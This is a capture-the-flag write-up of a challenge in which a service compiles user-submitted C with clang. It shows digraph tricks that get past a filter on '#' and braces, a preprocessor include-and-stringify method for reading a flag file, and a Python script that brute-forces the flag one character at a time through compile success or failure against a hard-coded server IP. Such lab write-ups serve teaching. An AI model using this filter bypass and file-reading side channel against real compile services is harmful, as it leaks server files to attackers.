5 This story starts with a cup of tea and a look around, usually it takes a while to find an interesting challenge
8 1. docker, python and a stripped ELF 64-bit LSB shared object, x86-64 as per the `file` sommand
9 2. the python3 service is receiving string, removing '{#}' and sending to clang to compile
10 3. the binary is ynetd, a "tiny super server written in go", but in the dockerfile cli options are used that do not appear in the ynetd documentation
11 4. running it gives us "ctf-ynetd: hardened for ctfs", meh. cli settings limit memory used and cpu-time
12 5. unexpectedly, the first challenge I look at is interesting, proceeding.
16 1. clang invoked with:
17 - -x c → c language only
18 - -std=c11 → c11 compliance
19 - -Wall, -Wextra, -Werror, -Wmain, -Wfatal-errors → as it should be ;) anything and their dog will throw an error and they will fail compilation.
20 - -o /dev/null → the compiled thing will never be run.
21 - output is checked and "ok" / "not ok" returned → we can't read stdout but we get binary response
23 1. make clang read flag file and return ok/not depending on its content
24 2. crash the compiler if a certain bit in a flag file is set, succeed with compilation if not. or by character.
26 1. no blocks because "{}" is filtered
27 2. no includes/pragma because "#" is filtered
28 4. sanity check: `echo "return 1;" | base64` sending results in OK. nice.
29 5. set up local testing: `clang -x c -std=c11 -Wall -Wextra -Werror -Wmain -Wfatal-errors foo.c && ./a.out` and put everything inside `int main(void) {}`
30 6. can trigrams work? → google says it's trigraphs and no, trigraph converted to pound throws an error with the given settings. No include magic. damn
31 1. `foo.c:3:9: fatal error: multi-line // comment [-Wcomment]
33 2. `foo.c:2:5: fatal error: trigraph converted to '#' character [-Wtrigraphs]`
34 7. and digraphs? → YES! nice. `%:` is a substitute for `#`, and `<%` and `%>` can subs `{}`
35 8. includes are game now, as are pragmas.
36 1. make our life easier and disable all warnings, because that's a thing that works
38 #include <stdio.h> // just testing multiline
40 %:pragma clang diagnostic ignored "-Weverything"
42 printf("hi"); // does not print because line above uses trigraph for \, making multi-line comment possible
43 // does also not throw an error because pragma works without pragma throws error.
46 9. primitives we need:
47 1. get content of file into some kind of variable.
48 2. make bit/char comparision in the precompiler and crash compilation in one case
49 10. read content into var: (this took a while)
50 1. stackoverflow not very promising: [https://stackoverflow.com/questions/43256465/include-a-file-as-a-string](https://stackoverflow.com/questions/43256465/include-a-file-as-a-string)
51 2. clang manual not helpful (grep read, initialize, ..) [https://clang.llvm.org/docs/UsersManual.html](https://clang.llvm.org/docs/UsersManual.html)
52 3. we can't just `char flag[] = #include "flag";` because include flag is not a string.
53 4. we need to cast it in the preprocessor
54 1. [https://stackoverflow.com/questions/240353/convert-a-preprocessor-token-to-a-string/240361](https://stackoverflow.com/questions/240353/convert-a-preprocessor-token-to-a-string/240361)
55 2. nice, we can cast it easily with `#define STRINGIFY(x) #x` makes token x to a string
56 5. so we need to surround it with STRINGIFY
58 #define STRINGIFY(x) #x
64 1. does not work because `#include directive within macro arguments is not supported`
65 2. damn. <took a break to think>
66 3. what if we first include and then trigger by replacing part of the flag we know? (hxp)
71 %:pragma clang diagnostic ignored "-Weverything"
73 %:define STRINGIFY(x) #x
74 %:define hxp STRINGIFY(
81 4. YESS that's a bingo
82 11. so, how to extract the flag with yes/no questions?
83 1. just brute force crashes with out of bounds
84 2. scrap crash, throw error or warning is enough, so we enable warnings again and use the flag value as an index to a const array → crashes if the flag character cast to int is out of bounds, with the length we can go 1 char at a time.
89 // %:pragma clang diagnostic ignored "-Weverything"
92 #define STRINGIFY(x) #x
93 #define hxp STRINGIFY(
94 const unsigned char flag[] =
98 const char test[127] = {0}; // crashes on 10, works on 127
100 char c = test[flag[0]];
107 #!/usr/bin/env python3
113 def compiles(program):
114 encoded_program = base64.b64encode(bytearray(program, "ascii"))
115 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
116 # s.connect(("localhost", 8011))
117 s.connect(("88.198.154.157", 8011))
119 # print(encoded_program)
120 s.send(encoded_program)
121 s.sendall(bytearray("\r\n", "ascii"))
124 return answer.decode("ascii").find("Not OK") < 0
127 # testing is important
128 # progok = "return 1;"
129 # prognot = "return foo;"
130 # print(compiles(progok))
131 # print(compiles(prognot))
135 %:define STRINGIFY(x) %:x
136 %:define hxp STRINGIFY(
137 const unsigned char flag[] =
141 const char test[{}] = <% 0 %>;
142 char c = test[flag[{}]];
148 def mkprg(flag_position, value):
149 return prog_brute.format(value, flag_position)
151 # more testing if everything works as expected
152 # print(mkprg(0, 127))
153 # print(compiles(mkprg(0, 127)))
154 # print(mkprg(0, 10))
155 # print(compiles(mkprg(0, 10)))
161 for c in range(32, 128): # printable ascii characters start at 32
163 if compiles(mkprg(pos, c)):
164 c -= 1 # adjust for indexing
165 print("found " + chr(c))
168 if flag[-1] == '}': # we know the flag ends with this caracter
174 4. Boom goes the dynamite.
175 `{Cl4n6_15_c00l_bu7_y0u_r34lly_0u6h7_70_7ry_gcc_-traditional-cpp_s0m3_d4y}`
179 To my surprise I found a challenge right away that was interesting and on my skill level, usually it's much context switching and headbanging. In this case reading the flag file into a usable form was the most difficult part.
181 ### Technical Analysis
183 Compiling C is hard and doing it safely even more so ([https://www.reddit.com/r/ProgrammerHumor/comments/8y7eo4/title/](https://www.reddit.com/r/ProgrammerHumor/comments/8y7eo4/title/)). I expected this challenge to be about having to know a certain trick, and to an extent it was the case: if certain characters are not available, Di- and Tri-graphs can be used as substitutes. The vulnerability in the compilerbot was not much more than a simple input validation issue. If the according trigraphs were not allowed, I guess there would still be clang internals one could exploit because there's just so much more attack surface — but it would have been a lot more difficult.
185 To extract the flag a trick needs to be applied as the string can't be returned directly, only a binary value can be extracted. So for every position the flag value is used as an index to an array of increasing length per iteration. If the length is too short, the compiler will throw an error. If the length is sufficient however to read from our test array, the compilation succeeds and we know the value of a character of the flag.